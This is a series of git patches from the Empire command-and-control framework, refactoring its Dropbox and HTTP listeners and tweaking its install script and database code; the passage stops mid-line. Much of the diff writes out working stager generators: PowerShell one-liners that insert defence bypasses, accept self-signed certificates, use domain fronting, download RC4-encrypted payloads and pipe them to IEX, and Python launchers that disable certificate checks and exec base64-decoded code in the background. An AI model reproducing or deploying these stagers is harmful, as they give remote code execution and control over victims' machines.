listenerOptions["DefaultLostLimit"]["Value"] - killDate = listenerOptions["KillDate"]["Value"] - workingHours = listenerOptions["WorkingHours"]["Value"] + listenerOptions["DefaultLostLimit"]["Value"] + listenerOptions["KillDate"]["Value"] + listenerOptions["WorkingHours"]["Value"] b64DefaultResponse = self.b64DefaultResponse if language == "powershell": @@ -352,26 +352,18 @@ def generate_agent( code = helpers.strip_python_comments(code) # patch in the delay, jitter, lost limit, and comms profile - code = code.replace("delay = 60", "delay = %s" % (delay)) - code = code.replace("jitter = 0.0", "jitter = %s" % (jitter)) + code = code.replace("delay=60", "delay=%s" % (delay)) + code = code.replace("jitter=0.0", "jitter=%s" % (jitter)) code = code.replace( 'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profile), ) - code = code.replace("lostLimit = 60", "lostLimit = %s" % (lostLimit)) + code = code.replace( - 'defaultResponse = base64.b64decode("")', - "defaultResponse = base64.b64decode(%s)" % (b64DefaultResponse), + 'self.defaultResponse = base64.b64decode("")', + "self.defaultResponse = base64.b64decode(%s)" % (b64DefaultResponse), ) - # patch in the killDate and workingHours if they're specified - if killDate != "": - code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate)) - if workingHours != "": - code = code.replace( - 'workingHours = ""', 'workingHours = "%s"' % (killDate) - ) - if obfuscate: code = self.mainMenu.obfuscationv2.python_obfuscate(code) code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) From accf7402ed04bf91d7f0178fbb43eb5552ff7bb7 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Sat, 28 Oct 2023 14:29:36 -0400 Subject: [PATCH 03/29] Added install script option to enable MySQL service (#707) * added option to enable mysql service * updated changelog * Update CHANGELOG.md Co-authored-by: Vincent Rose * fixed || true * Update setup/install.sh --------- Co-authored-by: Vincent Rose --- CHANGELOG.md | 1 + setup/install.sh | 12 ++++++++++++ 2 files changed, 13 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index ec74af9aa..220a67b79 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Added option to start MySQL service on boot to install script (@Cx01N) - Modernized the Python and IronPython agents with new agent and staging code (@Cx01N) - Added automatic tasking for sysinfo for stageless agents (@Cx01N) - Updated listeners to consistently use port 80 and 443 for HTTP traffic by default (@Cx01N) diff --git a/setup/install.sh b/setup/install.sh index a8d218cfc..68b876b85 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -68,6 +68,7 @@ function install_mysql() { } function start_mysql() { + echo -e "\x1b[1;34m[*] Configuring MySQL\x1b[0m" sudo systemctl start mysql.service || true # will fail in a docker image # Add the default empire user to the mysql database @@ -80,6 +81,17 @@ function start_mysql() { mysql -u root -proot -e "CREATE USER IF NOT EXISTS 'empire_user'@'localhost' IDENTIFIED BY 'empire_password';" || true mysql -u root -proot -e "GRANT ALL PRIVILEGES ON *.* TO 'empire_user'@'localhost' WITH GRANT OPTION;" || true mysql -u root -proot -e "FLUSH PRIVILEGES;" || true + + if [ "$ASSUME_YES" == "1" ]; then + answer="Y" + else + echo -n -e "\x1b[1;33m[>] Do you want to enable MySQL to start on boot? (y/N)? \x1b[0m" + read -r answer + fi + + if [[ "$answer" =~ ^[Yy]$ ]]; then + sudo systemctl enable mysql || true + fi } function install_xar() { From 4a84a69cdfb0f8b4e44ef3d794a3677a80995c85 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sat, 28 Oct 2023 11:30:30 -0700 Subject: [PATCH 04/29] remove deprecated sqlalchemy functions and fix another invalid escape sequence (#715) --- CHANGELOG.md | 1 + empire/server/core/db/base.py | 4 ++-- empire/server/core/db/models.py | 3 +-- empire/server/plugins/reverseshell_stager_server.plugin | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 220a67b79..c961430ef 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Correct more deprecation warnings for SQLAlchemy and invalid escape sequences (@Vinnybod) - Added option to start MySQL service on boot to install script (@Cx01N) - Modernized the Python and IronPython agents with new agent and staging code (@Cx01N) - Added automatic tasking for sysinfo for stageless agents (@Cx01N) diff --git a/empire/server/core/db/base.py b/empire/server/core/db/base.py index 9a4876264..704e04e52 100644 --- a/empire/server/core/db/base.py +++ b/empire/server/core/db/base.py @@ -5,7 +5,7 @@ from sqlalchemy import UniqueConstraint, create_engine, event, text from sqlalchemy.engine import Engine from sqlalchemy.exc import OperationalError -from sqlalchemy.orm import sessionmaker +from sqlalchemy.orm import close_all_sessions, sessionmaker from empire.server.core.db import models from empire.server.core.db.defaults import ( @@ -47,7 +47,7 @@ def try_create_engine(engine_url: str, *args, **kwargs) -> Engine: def reset_db(): - SessionLocal.close_all() + close_all_sessions() if use == "mysql": cmd = f"DROP DATABASE IF EXISTS {database_config.database_name}" diff --git a/empire/server/core/db/models.py b/empire/server/core/db/models.py index a33c87017..4bc272a9a 100644 --- a/empire/server/core/db/models.py +++ b/empire/server/core/db/models.py @@ -21,9 +21,8 @@ text, ) from sqlalchemy.dialects import mysql -from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.ext.hybrid import hybrid_property -from sqlalchemy.orm import Mapped, deferred, relationship +from sqlalchemy.orm import Mapped, declarative_base, deferred, relationship from sqlalchemy_utc import UtcDateTime, utcnow from empire.server.core.config import empire_config diff --git a/empire/server/plugins/reverseshell_stager_server.plugin b/empire/server/plugins/reverseshell_stager_server.plugin index b46f0bb9d..c4b3ad250 100644 --- a/empire/server/plugins/reverseshell_stager_server.plugin +++ b/empire/server/plugins/reverseshell_stager_server.plugin @@ -101,7 +101,7 @@ class Plugin(Plugin): "Value": "default", }, "ProxyCreds": { - "Description": "Proxy credentials ([domain\]username:password) to use for request (default, none, or other).", + "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).", "Required": False, "Value": "default", }, From f93afd954686b0fd2c4e231dfba79d4acfeebc33 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sun, 29 Oct 2023 14:18:15 -0700 Subject: [PATCH 05/29] remove unneeded condiiton from all listeners (#719) --- CHANGELOG.md | 1 + empire/server/listeners/dbx.py | 350 ++++++------ empire/server/listeners/http.py | 525 +++++++++--------- empire/server/listeners/http_com.py | 214 ++++--- empire/server/listeners/http_foreign.py | 388 +++++++------ empire/server/listeners/http_hop.py | 372 ++++++------- empire/server/listeners/http_malleable.py | 524 +++++++++-------- empire/server/listeners/onedrive.py | 148 +++-- empire/server/listeners/port_forward_pivot.py | 519 +++++++++-------- empire/server/listeners/template.py | 52 +- 10 files changed, 1501 insertions(+), 1592 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c961430ef..d5bfd06c0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Modernized the Python and IronPython agents with new agent and staging code (@Cx01N) - Added automatic tasking for sysinfo for stageless agents (@Cx01N) - Updated listeners to consistently use port 80 and 443 for HTTP traffic by default (@Cx01N) +- Remove unneeded condition statement from all listeners (@Vinnybod) ## [5.7.3] - 2023-10-17 diff --git a/empire/server/listeners/dbx.py b/empire/server/listeners/dbx.py index b2921b8e8..6df07b8ad 100755 --- a/empire/server/listeners/dbx.py +++ b/empire/server/listeners/dbx.py @@ -184,203 +184,195 @@ def generate_launcher( log.error("listeners/dbx generate_launcher(): no language specified!") return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options - - # host = listenerOptions['Host']['Value'] - staging_key = listenerOptions["StagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - launcher = listenerOptions["Launcher"]["Value"] - api_token = listenerOptions["APIToken"]["Value"] - baseFolder = listenerOptions["BaseFolder"]["Value"].strip("/") - staging_folder = "/{}/{}".format( - baseFolder, - listenerOptions["StagingFolder"]["Value"].strip("/"), - ) + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options - if language.startswith("po"): - # PowerShell + # host = listenerOptions['Host']['Value'] + staging_key = listenerOptions["StagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + launcher = listenerOptions["Launcher"]["Value"] + api_token = listenerOptions["APIToken"]["Value"] + baseFolder = listenerOptions["BaseFolder"]["Value"].strip("/") + staging_folder = "/{}/{}".format( + baseFolder, + listenerOptions["StagingFolder"]["Value"].strip("/"), + ) - # replace with stager = '' for troubleshooting - stager = '$ErrorActionPreference = "SilentlyContinue";' - if safeChecks.lower() == "true": - stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - - for bypass in bypasses: - stager += bypass - stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - - stager += "$wc=New-Object System.Net.WebClient;" - - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - stager += f"$u='{ userAgent }';" - - if userAgent.lower() != "none" or proxy.lower() != "none": - if userAgent.lower() != "none": - stager += "$wc.Headers.Add('User-Agent',$u);" - - if proxy.lower() != "none": - if proxy.lower() == "default": - stager += ( - "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - ) - - else: - # TODO: implement form for other proxy - stager += f""" - $proxy=New-Object Net.WebProxy; - $proxy.Address = '{ proxy.lower() }'; - $wc.Proxy = $proxy; - """ - - if proxyCreds.lower() == "default": - stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" - - else: - # TODO: implement form for other proxy credentials - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - domain = username.split("\\")[0] - usr = username.split("\\")[1] - stager += f""" - $netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }'); - $wc.Proxy.Credentials = $netcred; - """ - - # save the proxy settings to use during the entire staging process and the agent - stager += "$Script:Proxy = $wc.Proxy;" - - # TODO: reimplement stager retries? - - # code to turn the key string into a byte array - stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{staging_key}');" - - # this is the minimized RC4 stager code from rc4.ps1 - stager += listener_util.powershell_rc4() - - stager += dedent( - f""" - # add in the Dropbox auth token and API params - $t='{ api_token }'; - $wc.Headers.Add("Authorization","Bearer $t"); - $wc.Headers.Add("Dropbox-API-Arg",\'{{"path":"{ staging_folder }/debugps"}}\'); - $data=$wc.DownloadData('https://content.dropboxapi.com/2/files/download'); - $iv=$data[0..3];$data=$data[4..$data.length]; - - # decode everything and kick it over to IEX to kick off execution - -join[Char[]](& $R $data ($IV+$K))|IEX - """ - ) + if language.startswith("po"): + # PowerShell - # Remove comments and make one line - stager = helpers.strip_powershell_comments(stager) - stager = data_util.ps_convert_to_oneliner(stager) + # replace with stager = '' for troubleshooting + stager = '$ErrorActionPreference = "SilentlyContinue";' + if safeChecks.lower() == "true": + stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - if obfuscate: - stager = self.mainMenu.obfuscationv2.obfuscate( - stager, - obfuscation_command=obfuscation_command, - ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + for bypass in bypasses: + stager += bypass + stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - # base64 encode the stager and return it - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager + stager += "$wc=New-Object System.Net.WebClient;" - elif language.startswith("py"): - launcherBase = "import sys;" - # monkey patch ssl woohooo - launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;" + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + stager += f"$u='{ userAgent }';" - try: - if safeChecks.lower() == "true": - launcherBase += listener_util.python_safe_checks() - except Exception as e: - p = f"Error setting LittleSnitch in stager: {str(e)}" - log.error(p) - - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - - launcherBase += dedent( - f""" - import urllib.request; - UA='{ userAgent }'; - t='{ api_token }'; - server='https://content.dropboxapi.com/2/files/download'; - req=urllib.request.Request(server); - req.add_header('User-Agent',UA); - req.add_header("Authorization","Bearer "+t); - req.add_header("Dropbox-API-Arg",'{{"path":"{ staging_folder }/debugpy"}}'); - """ - ) + if userAgent.lower() != "none" or proxy.lower() != "none": + if userAgent.lower() != "none": + stager += "$wc.Headers.Add('User-Agent',$u);" if proxy.lower() != "none": if proxy.lower() == "default": - launcherBase += "proxy = urllib.request.ProxyHandler();\n" + stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" + else: - proto = proxy.Split(":")[0] - launcherBase += f"proxy = urllib.request.ProxyHandler({{'{proto}':'{proxy}'}});\n" - - if proxyCreds != "none": - if proxyCreds == "default": - launcherBase += "o = urllib.request.build_opener(proxy);\n" - else: - launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - launcherBase += dedent( - f""" - proxy_auth_handler.add_password(None,'{ proxy }', '{ username }', '{ password }'); - o = urllib.request.build_opener(proxy, proxy_auth_handler); - """ - ) + # TODO: implement form for other proxy + stager += f""" + $proxy=New-Object Net.WebProxy; + $proxy.Address = '{ proxy.lower() }'; + $wc.Proxy = $proxy; + """ + + if proxyCreds.lower() == "default": + stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" + else: + # TODO: implement form for other proxy credentials + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + domain = username.split("\\")[0] + usr = username.split("\\")[1] + stager += f""" + $netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }'); + $wc.Proxy.Credentials = $netcred; + """ + + # save the proxy settings to use during the entire staging process and the agent + stager += "$Script:Proxy = $wc.Proxy;" + + # TODO: reimplement stager retries? + + # code to turn the key string into a byte array + stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{staging_key}');" + + # this is the minimized RC4 stager code from rc4.ps1 + stager += listener_util.powershell_rc4() + + stager += dedent( + f""" + # add in the Dropbox auth token and API params + $t='{ api_token }'; + $wc.Headers.Add("Authorization","Bearer $t"); + $wc.Headers.Add("Dropbox-API-Arg",\'{{"path":"{ staging_folder }/debugps"}}\'); + $data=$wc.DownloadData('https://content.dropboxapi.com/2/files/download'); + $iv=$data[0..3];$data=$data[4..$data.length]; + + # decode everything and kick it over to IEX to kick off execution + -join[Char[]](& $R $data ($IV+$K))|IEX + """ + ) + + # Remove comments and make one line + stager = helpers.strip_powershell_comments(stager) + stager = data_util.ps_convert_to_oneliner(stager) + + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, + obfuscation_command=obfuscation_command, + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + + # base64 encode the stager and return it + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(stager, launcher) + else: + # otherwise return the case-randomized stager + return stager + + elif language.startswith("py"): + launcherBase = "import sys;" + # monkey patch ssl woohooo + launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;" + + try: + if safeChecks.lower() == "true": + launcherBase += listener_util.python_safe_checks() + except Exception as e: + p = f"Error setting LittleSnitch in stager: {str(e)}" + log.error(p) + + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + + launcherBase += dedent( + f""" + import urllib.request; + UA='{ userAgent }'; + t='{ api_token }'; + server='https://content.dropboxapi.com/2/files/download'; + req=urllib.request.Request(server); + req.add_header('User-Agent',UA); + req.add_header("Authorization","Bearer "+t); + req.add_header("Dropbox-API-Arg",'{{"path":"{ staging_folder }/debugpy"}}'); + """ + ) + + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib.request.ProxyHandler();\n" + else: + proto = proxy.Split(":")[0] + launcherBase += f"proxy = urllib.request.ProxyHandler({{'{proto}':'{proxy}'}});\n" + + if proxyCreds != "none": + if proxyCreds == "default": launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + launcherBase += dedent( + f""" + proxy_auth_handler.add_password(None,'{ proxy }', '{ username }', '{ password }'); + o = urllib.request.build_opener(proxy, proxy_auth_handler); + """ + ) else: - launcherBase += "o = urllib.request.build_opener();\n" + launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += "o = urllib.request.build_opener();\n" - # install proxy and creds globally, so they can be used with urlopen. - launcherBase += "urllib.request.install_opener(o);\n" - launcherBase += "a=urllib.request.urlopen(req).read();\n" + # install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib.request.install_opener(o);\n" + launcherBase += "a=urllib.request.urlopen(req).read();\n" - # RC4 decryption - launcherBase += listener_util.python_extract_stager(staging_key) + # RC4 decryption + launcherBase += listener_util.python_extract_stager(staging_key) - if obfuscate: - launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( - launcherBase - ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( + launcherBase + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) - if encode: - launchEncoded = base64.b64encode( - launcherBase.encode("UTF-8") - ).decode("UTF-8") - launcher = ( - "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" - % (launchEncoded) - ) - return launcher - else: - return launcherBase + if encode: + launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( + "UTF-8" + ) + launcher = ( + "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" + % (launchEncoded) + ) + return launcher + else: + return launcherBase def generate_stager( self, diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index b5fc28b46..2d223fafa 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -233,313 +233,298 @@ def generate_launcher( ) return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options - host = listenerOptions["Host"]["Value"] - launcher = listenerOptions["Launcher"]["Value"] - staging_key = listenerOptions["StagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] - stage0 = random.choice(uris) - customHeaders = profile.split("|")[2:] - - cookie = listenerOptions["Cookie"]["Value"] - # generate new cookie if the current session cookie is empty to avoid empty cookie if create multiple listeners - if cookie == "": - generate = listener_util.generate_cookie() - listenerOptions["Cookie"]["Value"] = generate - cookie = generate - - if language == "powershell": - # PowerShell - stager = '$ErrorActionPreference = "SilentlyContinue";' + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options + host = listenerOptions["Host"]["Value"] + launcher = listenerOptions["Launcher"]["Value"] + staging_key = listenerOptions["StagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + uris = [a for a in profile.split("|")[0].split(",")] + stage0 = random.choice(uris) + customHeaders = profile.split("|")[2:] - if safeChecks.lower() == "true": - stager = "If($PSVersionTable.PSVersion.Major -ge 3){" + cookie = listenerOptions["Cookie"]["Value"] + # generate new cookie if the current session cookie is empty to avoid empty cookie if create multiple listeners + if cookie == "": + generate = listener_util.generate_cookie() + listenerOptions["Cookie"]["Value"] = generate + cookie = generate - for bypass in bypasses: - stager += bypass + if language == "powershell": + # PowerShell + stager = '$ErrorActionPreference = "SilentlyContinue";' - if safeChecks.lower() == "true": - stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - - stager += "$wc=New-Object System.Net.WebClient;" - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - stager += f"$u='{ userAgent }';" - - if "https" in host: - # allow for self-signed certificates for https connections - stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - stager += f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';" - - if userAgent.lower() != "none": - stager += "$wc.Headers.Add('User-Agent',$u);" - - if proxy.lower() != "none": - if proxy.lower() == "default": - stager += ( - "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - ) - else: - # TODO: implement form for other proxy - stager += f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');$wc.Proxy = $proxy;" + if safeChecks.lower() == "true": + stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - if proxyCreds.lower() != "none": - if proxyCreds.lower() == "default": - stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" + for bypass in bypasses: + stager += bypass - else: - # TODO: implement form for other proxy credentials - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - if len(username.split("\\")) > 1: - usr = username.split("\\")[1] - domain = username.split("\\")[0] - stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');" + if safeChecks.lower() == "true": + stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - else: - usr = username.split("\\")[0] - stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }');" - - stager += "$wc.Proxy.Credentials = $netcred;" - - # save the proxy settings to use during the entire staging process and the agent - stager += "$Script:Proxy = $wc.Proxy;" - - # TODO: reimplement stager retries? - # check if we're using IPv6 - listenerOptions = copy.deepcopy(listenerOptions) - bindIP = listenerOptions["BindIP"]["Value"] - port = listenerOptions["Port"]["Value"] - if ":" in bindIP: - if "http" in host: - if "https" in host: - host = ( - "https://" + "[" + str(bindIP) + "]" + ":" + str(port) - ) - else: - host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) + stager += "$wc=New-Object System.Net.WebClient;" + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + stager += f"$u='{ userAgent }';" - # code to turn the key string into a byte array - stager += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" - ) + if "https" in host: + # allow for self-signed certificates for https connections + stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + stager += ( + f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';" + ) - # this is the minimized RC4 stager code from rc4.ps1 - stager += listener_util.powershell_rc4() - - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - staging_key, - sessionID="00000000", - language="POWERSHELL", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket) - - # Add custom headers if any - if customHeaders != []: - for header in customHeaders: - headerKey = header.split(":")[0] - headerValue = header.split(":")[1] - # If host header defined, assume domain fronting is in use and add a call to the base URL first - # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello - if headerKey.lower() == "host": - stager += "try{$ig=$wc.DownloadData($ser)}catch{};" - stager += ( - "$wc.Headers.Add(" - + f"'{headerKey}','" - + headerValue - + "');" - ) + if userAgent.lower() != "none": + stager += "$wc.Headers.Add('User-Agent',$u);" + + if proxy.lower() != "none": + if proxy.lower() == "default": + stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" + else: + # TODO: implement form for other proxy + stager += f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');$wc.Proxy = $proxy;" - # add the RC4 packet to a cookie - stager += f'$wc.Headers.Add("Cookie","{ cookie }={ b64RoutingPacket.decode("UTF-8") }");' - stager += "$data=$wc.DownloadData($ser+$t);" - stager += "$iv=$data[0..3];$data=$data[4..$data.length];" + if proxyCreds.lower() != "none": + if proxyCreds.lower() == "default": + stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" - # decode everything and kick it over to IEX to kick off execution - stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" + else: + # TODO: implement form for other proxy credentials + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + if len(username.split("\\")) > 1: + usr = username.split("\\")[1] + domain = username.split("\\")[0] + stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');" - # Remove comments and make one line - stager = helpers.strip_powershell_comments(stager) - stager = data_util.ps_convert_to_oneliner(stager) + else: + usr = username.split("\\")[0] + stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }');" + + stager += "$wc.Proxy.Credentials = $netcred;" + + # save the proxy settings to use during the entire staging process and the agent + stager += "$Script:Proxy = $wc.Proxy;" + + # TODO: reimplement stager retries? + # check if we're using IPv6 + listenerOptions = copy.deepcopy(listenerOptions) + bindIP = listenerOptions["BindIP"]["Value"] + port = listenerOptions["Port"]["Value"] + if ":" in bindIP: + if "http" in host: + if "https" in host: + host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port) + else: + host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) + + # code to turn the key string into a byte array + stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" + + # this is the minimized RC4 stager code from rc4.ps1 + stager += listener_util.powershell_rc4() + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + staging_key, + sessionID="00000000", + language="POWERSHELL", + meta="STAGE0", + additional="None", + encData="", + ) + b64RoutingPacket = base64.b64encode(routingPacket) - if obfuscate: - stager = self.mainMenu.obfuscationv2.obfuscate( - stager, - obfuscation_command=obfuscation_command, + # Add custom headers if any + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(":")[0] + headerValue = header.split(":")[1] + # If host header defined, assume domain fronting is in use and add a call to the base URL first + # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello + if headerKey.lower() == "host": + stager += "try{$ig=$wc.DownloadData($ser)}catch{};" + stager += ( + "$wc.Headers.Add(" + f"'{headerKey}','" + headerValue + "');" ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - # base64 encode the stager and return it - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager - - if language in ["python", "ironpython"]: - # Python - launcherBase = "import sys;" - if "https" in host: - # monkey patch ssl woohooo - launcherBase += dedent( - """ - import ssl; - if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context; - """ - ) + # add the RC4 packet to a cookie + stager += f'$wc.Headers.Add("Cookie","{ cookie }={ b64RoutingPacket.decode("UTF-8") }");' + stager += "$data=$wc.DownloadData($ser+$t);" + stager += "$iv=$data[0..3];$data=$data[4..$data.length];" - try: - if safeChecks.lower() == "true": - launcherBase += listener_util.python_safe_checks() - except Exception as e: - p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" - log.error(p) + # decode everything and kick it over to IEX to kick off execution + stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] + # Remove comments and make one line + stager = helpers.strip_powershell_comments(stager) + stager = data_util.ps_convert_to_oneliner(stager) + + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, + obfuscation_command=obfuscation_command, + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + + # base64 encode the stager and return it + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(stager, launcher) + else: + # otherwise return the case-randomized stager + return stager + if language in ["python", "ironpython"]: + # Python + launcherBase = "import sys;" + if "https" in host: + # monkey patch ssl woohooo launcherBase += dedent( - f""" - import urllib.request; - UA='{ userAgent }';server='{ host }';t='{ stage0 }'; - req=urllib.request.Request(server+t); + """ + import ssl; + if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context; """ ) - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - staging_key, - sessionID="00000000", - language="PYTHON", - meta="STAGE0", - additional="None", - encData="", - ) + try: + if safeChecks.lower() == "true": + launcherBase += listener_util.python_safe_checks() + except Exception as e: + p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" + log.error(p) + + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + + launcherBase += dedent( + f""" + import urllib.request; + UA='{ userAgent }';server='{ host }';t='{ stage0 }'; + req=urllib.request.Request(server+t); + """ + ) - b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8") + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + staging_key, + sessionID="00000000", + language="PYTHON", + meta="STAGE0", + additional="None", + encData="", + ) - # Add custom headers if any - if customHeaders != []: - for header in customHeaders: - headerKey = header.split(":")[0] - headerValue = header.split(":")[1] - launcherBase += ( - f'req.add_header("{ headerKey }","{ 